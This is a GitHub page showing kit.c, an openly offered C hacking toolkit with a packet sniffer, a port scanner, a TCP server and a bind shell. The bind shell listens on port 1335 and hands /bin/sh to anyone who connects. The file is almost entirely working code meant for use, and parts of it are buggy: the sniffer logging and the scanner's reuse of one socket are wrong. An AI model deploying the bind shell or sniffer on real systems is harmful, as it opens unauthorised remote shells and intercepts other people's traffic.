-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathkit.c
327 lines (274 loc) · 9.16 KB
/
kit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <net/if.h>
#include <pcap.h>
#include <unistd.h>
#include <ifaddrs.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT_START 1 // You can change this if you want!
#define PORT_END 1204 // You can change this if you want!
#define PORT 1335 // For bind-shell and server!
// For the banner!
struct banner_info {
char *username;
char *hostname[128];
char *path[128];
};
/*
kit
Date: 08/10/21
Author: 0x1CA3
*/
// Colors!
static void color_red(void) {
printf("\e[0;31m");
}
static void color_green(void) {
printf("\e[0;32m");
}
static void reset_color(void) {
printf("\e[0;37m");
}
static void clear_screen(void) {
puts("\033[H\033[2J");
}
// Banner!
static void kit_banner(void) {
struct banner_info *pb, binfo;
pb = &binfo;
pb->username = (char *)malloc(32 * sizeof(char));
cuserid(pb->username);
getcwd(pb->path, sizeof(pb->path));
gethostname(pb->hostname, sizeof(pb->hostname));
printf("\n Host Information");
printf("\n __ __ __ __ ────────────────");
printf("\n | |/ |__| |_ Hostname -> %s", pb->hostname);
printf("\n | <| | _| Username -> %s", pb->username);
printf("\n |__|\\__|__|____| Path -> %s", pb->path);
printf("\n");
puts(""
"\n ┌────────────────────────────────────────┐"
"\n │ Credits │"
"\n ├────────────────────────────────────────┤"
"\n │ Made by: https://www.github.com/0x1CA3 │"
"\n └────────────────────────────────────────┘"
"\n");
}
// Help menu!
static void main_help_menu(void) {
puts(""
"\n┌───────┬───────────────────────────────────────┬───────────────┐"
"\n│ Flags │ Description │ Usage Example │"
"\n├───────┼───────────────────────────────────────┼───────────────┤"
"\n│ -h │ Displays the available flags │ -h │"
"\n│ -i │ Displays the available interfaces │ -i │"
"\n│ -m │ Displays the network mask │ -m │"
"\n│ -s │ Starts a packet sniffer │ -s │"
"\n│ -b │ Starts a bind-shell │ -b │"
"\n│ -t │ Starts a TCP server │ -t 127.0.0.1 │"
"\n│ -p │ Does a port scan against the given IP │ -p 127.0.0.1 │"
"\n└───────┴───────────────────────────────────────┴───────────────┘"
"\n");
}
// Lists the available interfaces!
void list_interfaces(void) {
int i = 0;
char pcap_error[PCAP_ERRBUF_SIZE];
char *intface = pcap_lookupdev(pcap_error);
struct if_nameindex *iface;
struct if_nameindex *number_of_interfaces;
number_of_interfaces = if_nameindex();
puts(""
"\n[+] Interfaces [+]"
"\n------------------");
for (iface = number_of_interfaces; iface->if_index != 0 && iface->if_name != NULL; iface++) {
i++;
printf("%s\n", iface->if_name);
}
puts("\n[+] Default Interface [+]\n-------------------------");
if (intface == NULL) {
printf("[!] Could not find default interface! [!]");
} else {
printf("\n-> %s <-\n\n", (intface));
}
exit(EXIT_SUCCESS);
}
// Gives a status of the packets, and logs the data in a file!
void capture_packets(u_char *ex, const struct pcap_pkthdr* pk, const u_char* data) {
clear_screen();
int i = 0;
static int packets = 0;
char line[255];
printf(" Packets -> %d Packet size -> %d\n", ++packets, pk->len);
FILE *fp = fopen("log.txt", "w");
if (fp == NULL) {
printf("[!] Failed to create log file! [!]");
} else {
for (i = 0; i < pk->len; i++) {
if (isprint(data[i])) {
printf("%c ", data[i]);
} else {
printf(" . ");
fprintf(fp, "%c", data[i]);
}
if ((i % 16 == 0 && i != 0) || i == pk->len-1) {
printf("\n");
}
}
}
fclose(fp);
}
// Starts the sniffer!
void sniffer(void) {
int i;
char *iface;
const u_char *up;
char pcap_error[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
struct pcap_pkthdr hdr;
pcap_t* pt;
bpf_u_int32 bp;
bpf_u_int32 bpp;
iface = pcap_lookupdev(pcap_error);
pt = pcap_open_live(iface, BUFSIZ, 1, -1, pcap_error);
pcap_lookupnet(iface, &bpp, &bp, pcap_error);
pcap_compile(pt, &fp, "tcp", 0, bpp);
pcap_setfilter(pt, &fp);
pcap_loop(pt, -1, capture_packets, NULL);
}
// Checks for errors!
int server_check(int fd, struct sockaddr_in server) {
if (bind(fd, (struct sockaddr *)&server, sizeof(server)) != 0) {
fprintf(stderr, "[!] Bind error! [!]\n");
exit(EXIT_FAILURE);
}
if (listen(fd, 2) != 0) {
fprintf(stderr, "[!] Listening error! [!]\n");
exit(EXIT_FAILURE);
}
}
// Starts the bind-shell!
int bind_shell(void) {
int fd, connection;
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(PORT);
fd = socket(PF_INET, SOCK_STREAM, 0);
server_check(fd, server);
connection = accept(fd, NULL, NULL);
for (int i = 0; i < 3; i++) {
dup2(connection, i);
}
execve("/bin/sh", NULL, NULL);
close(fd);
}
// Port-scanner!
void scanner(char **argv) {
int fd, connection;
struct sockaddr_in s;
s.sin_family = AF_INET;
s.sin_addr.s_addr = inet_addr(argv[2]);
fd = socket(AF_INET, SOCK_STREAM, 0);
puts(""
"\n[+] Open Ports [+]"
"\n------------------");
for (int i = PORT_START; i <= PORT_END; i++) {
s.sin_port = htons(i);
connection = connect(fd, (struct sockaddr *)&s, sizeof(s));
if (connection < 0) {
printf("");
} else {
printf("Port -> %d\n", i);
}
}
puts("");
}
// Retrieves the network mask!
void get_network_mask(void) {
char *ip;
struct sockaddr_in *net;
struct ifaddrs *pip, *ipa;
getifaddrs(&pip);
for (ipa = pip; ipa; ipa = ipa->ifa_next) {
if (ipa->ifa_addr->sa_family == AF_INET) {
net = (struct sockaddr_in *) ipa->ifa_netmask;
ip = inet_ntoa(net->sin_addr);
puts(""
"\n[+] Network mask [+]"
"\n------------------");
printf("Address -> %s\n\n", ip);
break;
}
}
}
// Starts a regular TCP server!
int server(char **argv) {
int fd, connection;
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr(argv[2]);
server.sin_port = htons(PORT);
fd = socket(AF_INET, SOCK_STREAM, 0);
bind(fd, (struct sockaddr *)&server, sizeof(server));
listen(fd, 128);
connection = accept(fd, NULL, NULL);
printf("\n[+] Connection Recieved! [+]\n");
close(fd);
}
// Main function!
int main(int argc, char **argv) {
color_red();
kit_banner();
reset_color();
char args;
for (args = 0; args < argc; args++) {
char const *user = argv[args];
if (user[0] == '-') {
switch(user[1]) {
case 'h':
color_green();
main_help_menu();
reset_color();
break;
case 'i':
color_green();
list_interfaces();
reset_color();
break;
case 'm':
color_green();
get_network_mask();
reset_color();
break;
case 's':
color_green();
sniffer();
reset_color();
break;
case 'p':
color_green();
scanner(argv);
reset_color();
break;
case 'b':
color_green();
bind_shell();
reset_color();
break;
case 't':
color_green();
server(argv);
reset_color();
break;
default:
break;
}
}
}
EXIT_SUCCESS;
}